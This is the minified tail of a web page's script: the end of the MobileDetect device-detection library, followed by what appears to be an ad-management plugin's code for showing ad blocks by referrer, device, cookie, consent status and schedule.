g.detectMobileBrowsers.fullPattern.test(a)||g.detectMobileBrowsers.shortPattern.test(a.substr(0,4))},g.isTabletFallback=function(a){return g.detectMobileBrowsers.tabletPattern.test(a)},g.prepareDetectionCache=function(a,c,d){if(a.mobile===b){var e,h,i;return(h=g.findMatch(g.mobileDetectRules.tablets,c))?(a.mobile=a.tablet=h,void(a.phone=null)):(e=g.findMatch(g.mobileDetectRules.phones,c))?(a.mobile=a.phone=e,void(a.tablet=null)):void(g.isMobileFallback(c)?(i=f.isPhoneSized(d),i===b?(a.mobile=g.FALLBACK_MOBILE,a.tablet=a.phone=null):i?(a.mobile=a.phone=g.FALLBACK_PHONE,a.tablet=null):(a.mobile=a.tablet=g.FALLBACK_TABLET,a.phone=null)):g.isTabletFallback(c)?(a.mobile=a.tablet=g.FALLBACK_TABLET,a.phone=null):a.mobile=a.tablet=a.phone=null)}},g.mobileGrade=function(a){var b=null!==a.mobile();return a.os("iOS")&&a.version("iPad")>=4.3||a.os("iOS")&&a.version("iPhone")>=3.1||a.os("iOS")&&a.version("iPod")>=3.1||a.version("Android")>2.1&&a.is("Webkit")||a.version("Windows Phone OS")>=7||a.is("BlackBerry")&&a.version("BlackBerry")>=6||a.match("Playbook.*Tablet")||a.version("webOS")>=1.4&&a.match("Palm|Pre|Pixi")||a.match("hp.*TouchPad")||a.is("Firefox")&&a.version("Firefox")>=12||a.is("Chrome")&&a.is("AndroidOS")&&a.version("Android")>=4||a.is("Skyfire")&&a.version("Skyfire")>=4.1&&a.is("AndroidOS")&&a.version("Android")>=2.3||a.is("Opera")&&a.version("Opera Mobi")>11&&a.is("AndroidOS")||a.is("MeeGoOS")||a.is("Tizen")||a.is("Dolfin")&&a.version("Bada")>=2||(a.is("UC Browser")||a.is("Dolfin"))&&a.version("Android")>=2.3||a.match("Kindle Fire")||a.is("Kindle")&&a.version("Kindle")>=3||a.is("AndroidOS")&&a.is("NookTablet")||a.version("Chrome")>=11&&!b||a.version("Safari")>=5&&!b||a.version("Firefox")>=4&&!b||a.version("MSIE")>=7&&!b||a.version("Opera")>=10&&!b?"A":a.os("iOS")&&a.version("iPad")<4.3||a.os("iOS")&&a.version("iPhone")<3.1||a.os("iOS")&&a.version("iPod")<3.1||a.is("Blackberry")&&a.version("BlackBerry")>=5&&a.version("BlackBerry")<6||a.version("Opera Mini")>=5&&a.version("Opera Mini")<=6.5&&(a.version("Android")>=2.3||a.is("iOS"))||a.match("NokiaN8|NokiaC7|N97.*Series60|Symbian/3")||a.version("Opera Mobi")>=11&&a.is("SymbianOS")?"B":(a.version("BlackBerry")<5||a.match("MSIEMobile|Windows CE.*Mobile")||a.version("Windows Mobile")<=5.2,"C")},g.detectOS=function(a){return g.findMatch(g.mobileDetectRules.oss0,a)||g.findMatch(g.mobileDetectRules.oss,a)},g.getDeviceSmallerSide=function(){return window.screen.width<window.screen.height?window.screen.width:window.screen.height},f.prototype={constructor:f,mobile:function(){return g.prepareDetectionCache(this._cache,this.ua,this.maxPhoneWidth),this._cache.mobile},phone:function(){return g.prepareDetectionCache(this._cache,this.ua,this.maxPhoneWidth),this._cache.phone},tablet:function(){return g.prepareDetectionCache(this._cache,this.ua,this.maxPhoneWidth),this._cache.tablet},userAgent:function(){return this._cache.userAgent===b&&(this._cache.userAgent=g.findMatch(g.mobileDetectRules.uas,this.ua)),this._cache.userAgent},userAgents:function(){return this._cache.userAgents===b&&(this._cache.userAgents=g.findMatches(g.mobileDetectRules.uas,this.ua)),this._cache.userAgents},os:function(){return this._cache.os===b&&(this._cache.os=g.detectOS(this.ua)),this._cache.os},version:function(a){return g.getVersion(a,this.ua)},versionStr:function(a){return g.getVersionStr(a,this.ua)},is:function(b){return c(this.userAgents(),b)||a(b,this.os())||a(b,this.phone())||a(b,this.tablet())||c(g.findMatches(g.mobileDetectRules.utils,this.ua),b)},match:function(a){return a instanceof RegExp||(a=new RegExp(a,"i")),a.test(this.ua)},isPhoneSized:function(a){return f.isPhoneSized(a||this.maxPhoneWidth)},mobileGrade:function(){return this._cache.grade===b&&(this._cache.grade=g.mobileGrade(this)),this._cache.grade}},"undefined"!=typeof window&&window.screen?f.isPhoneSized=function(a){return a<0?b:g.getDeviceSmallerSide()<=a}:f.isPhoneSized=function(){},f._impl=g,f.version="1.4.5 2021-03-13",f})}(function(a){if("undefined"!=typeof module&&module.exports)return function(a){module.exports=a()};if("function"==typeof define&&define.amd)return define;if("undefined"!=typeof window)return function(a){window.MobileDetect=a()};throw new Error("unknown environment")}());var ai_lists=!0,ai_block_class_def="code-block";
if("undefined"!=typeof ai_lists){function X(b,e){for(var n=[];b=b.previousElementSibling;)("undefined"==typeof e||b.matches(e))&&n.push(b);return n}function fa(b,e){for(var n=[];b=b.nextElementSibling;)("undefined"==typeof e||b.matches(e))&&n.push(b);return n}var host_regexp=RegExp(":\\/\\/(.[^/:]+)","i");function ha(b){b=b.match(host_regexp);return null!=b&&1<b.length&&"string"===typeof b[1]&&0<b[1].length?b[1].toLowerCase():null}function Q(b){return b.includes(":")?(b=b.split(":"),1E3*(3600*parseInt(b[0])+
60*parseInt(b[1])+parseInt(b[2]))):null}function Y(b){try{var e=Date.parse(b);isNaN(e)&&(e=null)}catch(n){e=null}if(null==e&&b.includes(" ")){b=b.split(" ");try{e=Date.parse(b[0]),e+=Q(b[1]),isNaN(e)&&(e=null)}catch(n){e=null}}return e}function Z(){null==document.querySelector("#ai-iab-tcf-bar")&&null==document.querySelector(".ai-list-manual")||"function"!=typeof __tcfapi||"function"!=typeof ai_load_blocks||"undefined"!=typeof ai_iab_tcf_callback_installed||(__tcfapi("addEventListener",2,function(b,
e){e&&"useractioncomplete"===b.eventStatus&&(ai_tcData=b,ai_load_blocks(),b=document.querySelector("#ai-iab-tcf-status"),null!=b&&(b.textContent="IAB TCF 2.0 DATA LOADED"),b=document.querySelector("#ai-iab-tcf-bar"),null!=b&&(b.classList.remove("status-error"),b.classList.add("status-ok")))}),ai_iab_tcf_callback_installed=!0)}ai_process_lists=function(b){function e(a,c,k){if(0==a.length){if("!@!"==k)return!0;c!=k&&("true"==k.toLowerCase()?k=!0:"false"==k.toLowerCase()&&(k=!1));return c==k}if("object"!=
typeof c&&"array"!=typeof c)return!1;var l=a[0];a=a.slice(1);if("*"==l)for(let [,p]of Object.entries(c)){if(e(a,p,k))return!0}else if(l in c)return e(a,c[l],k);return!1}function n(a,c,k){if("object"!=typeof a||-1==c.indexOf("["))return!1;c=c.replace(/]| /gi,"").split("[");return e(c,a,k)}function z(){if("function"==typeof __tcfapi){var a=document.querySelector("#ai-iab-tcf-status"),c=document.querySelector("#ai-iab-tcf-bar");null!=a&&(a.textContent="IAB TCF 2.0 DETECTED");__tcfapi("getTCData",2,function(k,
l){l?(null!=c&&(c.classList.remove("status-error"),c.classList.add("status-ok")),"tcloaded"==k.eventStatus||"useractioncomplete"==k.eventStatus)?(ai_tcData=k,k.gdprApplies?null!=a&&(a.textContent="IAB TCF 2.0 DATA LOADED"):null!=a&&(a.textContent="IAB TCF 2.0 GDPR DOES NOT APPLY"),null!=c&&(c.classList.remove("status-error"),c.classList.add("status-ok")),setTimeout(function(){ai_process_lists()},10)):"cmpuishown"==k.eventStatus&&(ai_cmpuishown=!0,null!=a&&(a.textContent="IAB TCF 2.0 CMP UI SHOWN"),
null!=c&&(c.classList.remove("status-error"),c.classList.add("status-ok"))):(null!=a&&(a.textContent="IAB TCF 2.0 __tcfapi getTCData failed"),null!=c&&(c.classList.remove("status-ok"),c.classList.add("status-error")))})}}function C(a){"function"==typeof __tcfapi?(ai_tcfapi_found=!0,"undefined"==typeof ai_iab_tcf_callback_installed&&Z(),"undefined"==typeof ai_tcData_requested&&(ai_tcData_requested=!0,z(),cookies_need_tcData=!0)):a&&("undefined"==typeof ai_tcfapi_found&&(ai_tcfapi_found=!1,setTimeout(function(){ai_process_lists()},
10)),a=document.querySelector("#ai-iab-tcf-status"),null!=a&&(a.textContent="IAB TCF 2.0 MISSING: __tcfapi function not found"),a=document.querySelector("#ai-iab-tcf-bar"),null!=a&&(a.classList.remove("status-ok"),a.classList.add("status-error")))}if(null==b)b=document.querySelectorAll("div.ai-list-data, meta.ai-list-data");else{window.jQuery&&window.jQuery.fn&&b instanceof jQuery&&(b=Array.prototype.slice.call(b));var x=[];b.forEach((a,c)=>{a.matches(".ai-list-data")?x.push(a):(a=a.querySelectorAll(".ai-list-data"),
a.length&&a.forEach((k,l)=>{x.push(k)}))});b=x}if(b.length){b.forEach((a,c)=>{a.classList.remove("ai-list-data")});var L=ia(window.location.search);if(null!=L.referrer)var A=L.referrer;else A=document.referrer,""!=A&&(A=ha(A));var R=window.navigator.userAgent,S=R.toLowerCase(),aa=navigator.language,M=aa.toLowerCase();if("undefined"!==typeof MobileDetect)var ba=new MobileDetect(R);b.forEach((a,c)=>{var k=document.cookie.split(";");k.forEach(function(f,h){k[h]=f.trim()});c=a.closest("div."+ai_block_class_def);
var l=!0;if(a.hasAttribute("referer-list")){var p=a.getAttribute("referer-list");p=b64d(p).split(",");var v=a.getAttribute("referer-list-type"),E=!1;p.every((f,h)=>{f=f.trim();if(""==f)return!0;if("*"==f.charAt(0))if("*"==f.charAt(f.length-1)){if(f=f.substr(1,f.length-2),-1!=A.indexOf(f))return E=!0,!1}else{if(f=f.substr(1),A.substr(-f.length)==f)return E=!0,!1}else if("*"==f.charAt(f.length-1)){if(f=f.substr(0,f.length-1),0==A.indexOf(f))return E=!0,!1}else if("#"==f){if(""==A)return E=!0,!1}else if(f==
A)return E=!0,!1;return!0});var r=E;switch(v){case "B":r&&(l=!1);break;case "W":r||(l=!1)}}if(l&&a.hasAttribute("client-list")&&"undefined"!==typeof ba)switch(p=a.getAttribute("client-list"),p=b64d(p).split(","),v=a.getAttribute("client-list-type"),r=!1,p.every((f,h)=>{if(""==f.trim())return!0;f.split("&&").every((d,t)=>{t=!0;var w=!1;for(d=d.trim();"!!"==d.substring(0,2);)t=!t,d=d.substring(2);"language:"==d.substring(0,9)&&(w=!0,d=d.substring(9).toLowerCase());var q=!1;w?"*"==d.charAt(0)?"*"==d.charAt(d.length-
1)?(d=d.substr(1,d.length-2).toLowerCase(),-1!=M.indexOf(d)&&(q=!0)):(d=d.substr(1).toLowerCase(),M.substr(-d.length)==d&&(q=!0)):"*"==d.charAt(d.length-1)?(d=d.substr(0,d.length-1).toLowerCase(),0==M.indexOf(d)&&(q=!0)):d==M&&(q=!0):"*"==d.charAt(0)?"*"==d.charAt(d.length-1)?(d=d.substr(1,d.length-2).toLowerCase(),-1!=S.indexOf(d)&&(q=!0)):(d=d.substr(1).toLowerCase(),S.substr(-d.length)==d&&(q=!0)):"*"==d.charAt(d.length-1)?(d=d.substr(0,d.length-1).toLowerCase(),0==S.indexOf(d)&&(q=!0)):ba.is(d)&&
(q=!0);return(r=q?t:!t)?!0:!1});return r?!1:!0}),v){case "B":r&&(l=!1);break;case "W":r||(l=!1)}var N=p=!1;for(v=1;2>=v;v++)if(l){switch(v){case 1:var g=a.getAttribute("cookie-list");break;case 2:g=a.getAttribute("parameter-list")}if(null!=g){g=b64d(g);switch(v){case 1:var y=a.getAttribute("cookie-list-type");break;case 2:y=a.getAttribute("parameter-list-type")}g=g.replace("tcf-gdpr","tcf-v2[gdprApplies]=true");g=g.replace("tcf-no-gdpr","tcf-v2[gdprApplies]=false");g=g.replace("tcf-google","tcf-v2[vendor][consents][755]=true && tcf-v2[purpose][consents][1]=true");
g=g.replace("tcf-no-google","!!tcf-v2[vendor][consents][755]");g=g.replace("tcf-media.net","tcf-v2[vendor][consents][142]=true && tcf-v2[purpose][consents][1]=true");g=g.replace("tcf-no-media.net","!!tcf-v2[vendor][consents][142]");g=g.replace("tcf-amazon","tcf-v2[vendor][consents][793]=true && tcf-v2[purpose][consents][1]=true");g=g.replace("tcf-no-amazon","!!tcf-v2[vendor][consents][793]");g=g.replace("tcf-ezoic","tcf-v2[vendor][consents][347]=true && tcf-v2[purpose][consents][1]=true");g=g.replace("tcf-no-ezoic",
"!!tcf-v2[vendor][consents][347]");var F=g.split(","),ca=[];k.forEach(function(f){f=f.split("=");try{var h=JSON.parse(decodeURIComponent(f[1]))}catch(d){h=decodeURIComponent(f[1])}ca[f[0]]=h});r=!1;var I=a;F.every((f,h)=>{f.split("&&").every((d,t)=>{t=!0;for(d=d.trim();"!!"==d.substring(0,2);)t=!t,d=d.substring(2);var w=d,q="!@!",T="tcf-v2"==w&&"!@!"==q,B=-1!=d.indexOf("["),J=0==d.indexOf("tcf-v2")||0==d.indexOf("euconsent-v2");J=J&&(B||T);-1!=d.indexOf("=")&&(q=d.split("="),w=q[0],q=q[1],B=-1!=w.indexOf("["),
J=(J=0==w.indexOf("tcf-v2")||0==w.indexOf("euconsent-v2"))&&(B||T));if(J)document.querySelector("#ai-iab-tcf-status"),B=document.querySelector("#ai-iab-tcf-bar"),null!=B&&(B.style.display="block"),T&&"boolean"==typeof ai_tcfapi_found?r=ai_tcfapi_found?t:!t:"object"==typeof ai_tcData?(null!=B&&(B.classList.remove("status-error"),B.classList.add("status-ok")),w=w.replace(/]| /gi,"").split("["),w.shift(),r=(w=e(w,ai_tcData,q))?t:!t):"undefined"==typeof ai_tcfapi_found&&(I.classList.add("ai-list-data"),
N=!0,"function"==typeof __tcfapi?C(!1):"undefined"==typeof ai_tcData_retrying&&(ai_tcData_retrying=!0,setTimeout(function(){"function"==typeof __tcfapi?C(!1):setTimeout(function(){"function"==typeof __tcfapi?C(!1):setTimeout(function(){C(!0)},3E3)},1E3)},600)));else if(B)r=(w=n(ca,w,q))?t:!t;else{var U=!1;"!@!"==q?k.every(function(ja){return ja.split("=")[0]==d?(U=!0,!1):!0}):U=-1!=k.indexOf(d);r=U?t:!t}return r?!0:!1});return r?!1:!0});r&&(N=!1,I.classList.remove("ai-list-data"));switch(y){case "B":r&&
(l=!1);break;case "W":r||(l=!1)}}}a.classList.contains("ai-list-manual")&&(l?(I.classList.remove("ai-list-data"),I.classList.remove("ai-list-manual")):(p=!0,I.classList.add("ai-list-data")));(l||!p&&!N)&&a.hasAttribute("data-debug-info")&&(g=document.querySelector("."+a.dataset.debugInfo),null!=g&&(g=g.parentElement,null!=g&&g.classList.contains("ai-debug-info")&&g.remove()));y=X(a,".ai-debug-bar.ai-debug-lists");var ka=""==A?"#":A;0!=y.length&&y.forEach((f,h)=>{h=f.querySelector(".ai-debug-name.ai-list-info");
null!=h&&(h.textContent=ka,h.title=R+"\n"+aa);h=f.querySelector(".ai-debug-name.ai-list-status");null!=h&&(h.textContent=l?ai_front.visible:ai_front.hidden)});g=!1;if(l&&a.hasAttribute("scheduling-start")&&a.hasAttribute("scheduling-end")&&a.hasAttribute("scheduling-days")){var u=a.getAttribute("scheduling-start");v=a.getAttribute("scheduling-end");y=a.getAttribute("scheduling-days");g=!0;u=b64d(u);F=b64d(v);var V=parseInt(a.getAttribute("scheduling-fallback")),O=parseInt(a.getAttribute("gmt"));if(u.includes("-")||
F.includes("-"))P=Y(u)+O,K=Y(F)+O;else var P=Q(u),K=Q(F);P??=0;K??=0;var W=b64d(y).split(",");y=a.getAttribute("scheduling-type");var D=(new Date).getTime()+O;v=new Date(D);var G=v.getDay();0==G?G=6:G--;u.includes("-")||F.includes("-")||(u=(new Date(v.getFullYear(),v.getMonth(),v.getDate())).getTime()+O,D-=u,0>D&&(D+=864E5));scheduling_start_date_ok=D>=P;scheduling_end_date_ok=0==K||D<K;u=scheduling_start_date_ok&&scheduling_end_date_ok&&W.includes(G.toString());switch(y){case "B":u=!u}u||(l=!1);
var la=v.toISOString().split(".")[0].replace("T"," ");y=X(a,".ai-debug-bar.ai-debug-scheduling");0!=y.length&&y.forEach((f,h)=>{h=f.querySelector(".ai-debug-name.ai-scheduling-info");null!=h&&(h.textContent=la+" "+G+" current_time: "+Math.floor(D.toString()/1E3)+" start_date:"+Math.floor(P/1E3).toString()+"=>"+scheduling_start_date_ok.toString()+" end_date:"+Math.floor(K/1E3).toString()+"=>"+scheduling_end_date_ok.toString()+" days:"+W.toString()+"=>"+W.includes(G.toString()).toString());h=f.querySelector(".ai-debug-name.ai-scheduling-status");
null!=h&&(h.textContent=l?ai_front.visible:ai_front.hidden);l||0==V||(f.classList.remove("ai-debug-scheduling"),f.classList.add("ai-debug-fallback"),h=f.querySelector(".ai-debug-name.ai-scheduling-status"),null!=h&&(h.textContent=ai_front.fallback+" = "+V))})}if(p||!l&&N)return!0;a.style.visibility="";a.style.position="";a.style.width="";a.style.height="";a.style.zIndex="";if(l){if(null!=c&&(c.style.visibility="",c.classList.contains("ai-remove-position")&&(c.style.position="")),a.hasAttribute("data-code")){p=
b64d(a.dataset.code);u=document.createRange();g=!0;try{H=u.createContextualFragment(p)}catch(f){g=!1}g&&(null!=a.closest("head")?(a.parentNode.insertBefore(H,a.nextSibling),a.remove()):a.append(H));da(a)}}else if(g&&!u&&0!=V){null!=c&&(c.style.visibility="",c.classList.contains("ai-remove-position")&&c.css({position:""}));p=fa(a,".ai-fallback");0!=p.length&&p.forEach((f,h)=>{f.classList.remove("ai-fallback")});if(a.hasAttribute("data-fallback-code")){p=b64d(a.dataset.fallbackCode);u=document.createRange();
g=!0;try{var H=u.createContextualFragment(p)}catch(f){g=!1}g&&a.append(H);da(a)}else a.style.display="none",null!=c&&null==c.querySelector(".ai-debug-block")&&c.hasAttribute("style")&&-1==c.getAttribute("style").indexOf("height:")&&(c.style.display="none");null!=c&&c.hasAttribute("data-ai")&&(c.getAttribute("data-ai"),a.hasAttribute("fallback-tracking")&&(H=a.getAttribute("fallback-tracking"),c.setAttribute("data-ai-"+a.getAttribute("fallback_level"),H)))}else a.style.display="none",null!=c&&(c.removeAttribute("data-ai"),
c.classList.remove("ai-track"),null!=c.querySelector(".ai-debug-block")?(c.style.visibility="",c.classList.remove("ai-close"),c.classList.contains("ai-remove-position")&&(c.style.position="")):c.hasAttribute("style")&&-1==c.getAttribute("style").indexOf("height:")&&(c.style.display="none"));a.setAttribute("data-code","");a.setAttribute("data-fallback-code","");null!=c&&c.classList.remove("ai-list-block")})}};function ea(b){b=`; ${document.cookie}`.split(`; ${b}=`);if(2===b.length)return b.pop().split(";").shift()}
function ma(b,e,n){ea(b)&&(document.cookie=b+"="+(e?";path="+e:"")+(n?";domain="+n:"")+";expires=Thu, 01 Jan 1970 00:00:01 GMT")}function m(b){ea(b)&&(ma(b,"/",window.location.hostname),document.cookie=b+"=; Path=/; Expires=Thu, 01 Jan 1970 00:00:01 GMT;")}(function(b){"complete"===document.readyState||"loading"!==document.readyState&&!document.documentElement.doScroll?b():document.addEventListener("DOMContentLoaded",b)})(function(){setTimeout(function(){ai_process_lists();setTimeout(function(){Z();
if("function"==typeof ai_load_blocks){document.addEventListener("cmplzEnableScripts",e);document.addEventListener("cmplz_event_marketing",e);function e(n){"cmplzEnableScripts"!=n.type&&"all"!==n.consentLevel||ai_load_blocks()}document.addEventListener("cmplz_enable_category",function(n){"marketing"===n.detail.category&&ai_load_blocks()})}},50);var b=document.querySelector(".ai-debug-page-type");null!=b&&b.addEventListener("dblclick",e=>{e=document.querySelector("#ai-iab-tcf-status");null!=e&&(e.textContent=
"CONSENT COOKIES");e=document.querySelector("#ai-iab-tcf-bar");null!=e&&(e.style.display="block")});b=document.querySelector("#ai-iab-tcf-bar");null!=b&&b.addEventListener("click",e=>{m("euconsent-v2");m("__lxG__consent__v2");m("__lxG__consent__v2_daisybit");m("__lxG__consent__v2_gdaisybit");m("CookieLawInfoConsent");m("cookielawinfo-checkbox-advertisement");m("cookielawinfo-checkbox-analytics");m("cookielawinfo-checkbox-necessary");m("complianz_policy_id");m("complianz_consent_status");m("cmplz_marketing");
m("cmplz_consent_status");m("cmplz_preferences");m("cmplz_statistics-anonymous");m("cmplz_choice");m("cmplz_banner-status");m("cmplz_functional");m("cmplz_policy_id");m("cmplz_statistics");m("moove_gdpr_popup");m("real_cookie_banner-blog:1-tcf");m("real_cookie_banner-blog:1");e=document.querySelector("#ai-iab-tcf-status");null!=e&&(e.textContent="CONSENT COOKIES DELETED")})},5)});function da(b){setTimeout(function(){"function"==typeof ai_process_rotations_in_element&&ai_process_rotations_in_element(b);
"function"==typeof ai_process_lists&&ai_process_lists();"function"==typeof ai_process_ip_addresses&&ai_process_ip_addresses();"function"==typeof ai_process_filter_hooks&&ai_process_filter_hooks();"function"==typeof ai_adb_process_blocks&&ai_adb_process_blocks(b);"function"==typeof ai_process_impressions&&1==ai_tracking_finished&&ai_process_impressions();"function"==typeof ai_install_click_trackers&&1==ai_tracking_finished&&ai_install_click_trackers();"function"==typeof ai_install_close_buttons&&ai_install_close_buttons(document)},
5)}function ia(b){var e=b?b.split("?")[1]:window.location.search.slice(1);b={};if(e){e=e.split("#")[0];e=e.split("&");for(var n=0;n<e.length;n++){var z=e[n].split("="),C=void 0,x=z[0].replace(/\[\d*\]/,function(L){C=L.slice(1,-1);return""});z="undefined"===typeof z[1]?"":z[1];x=x.toLowerCase();z=z.toLowerCase();b[x]?("string"===typeof b[x]&&(b[x]=[b[x]]),"undefined"===typeof C?b[x].push(z):b[x][C]=z):b[x]=z}}return b}};
ai_js_code = true;
</script>
</body>
</html>